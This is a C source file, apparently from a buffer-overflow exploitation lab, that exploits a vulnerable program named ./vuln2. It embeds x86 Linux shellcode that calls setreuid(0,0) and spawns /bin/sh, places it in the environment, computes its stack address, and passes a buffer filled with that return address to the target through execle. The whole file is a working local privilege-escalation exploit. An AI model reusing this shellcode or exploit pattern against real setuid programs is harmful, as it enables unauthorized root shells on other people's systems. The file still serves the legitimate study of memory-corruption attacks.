#include <stdlib.h>

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

int main(int argc, char *argv[])
{
  char *env[2] = {shellcode, NULL};
  int i;
  long  ret, *addr_ptr;
  char *buffer, *ptr;

// Allocate 40 bytes for buffer (on the heap)
  buffer = malloc(40);

// Calculate the location of the shellcode
  ret = 0xbffffffa - strlen(shellcode) - strlen("./vuln2");

// Fill the entire buffer with the desired ret address
  ptr = buffer;
  addr_ptr = (long *) ptr;
  for(i=0; i < 40; i+=4)
  { *(addr_ptr++) = ret; }

// End the string
  buffer[40-1] = 0;

// Now call the program ./vuln with our crafted buffer as its argument
// and using the environment env as its environment.
  execle("./vuln2", "vuln2", buffer, 0, env);

// Free the buffer memory
  free(buffer);

  return 0;
}